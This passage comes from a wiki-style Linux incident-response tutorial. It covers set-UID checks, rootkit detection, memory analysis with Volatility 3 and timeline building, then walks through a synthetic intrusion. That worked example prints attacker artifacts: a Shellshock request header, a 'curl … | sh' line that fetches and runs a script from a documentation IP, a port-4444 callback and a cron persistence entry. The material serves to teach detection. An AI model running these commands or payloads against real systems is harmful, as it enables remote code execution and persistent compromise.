sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
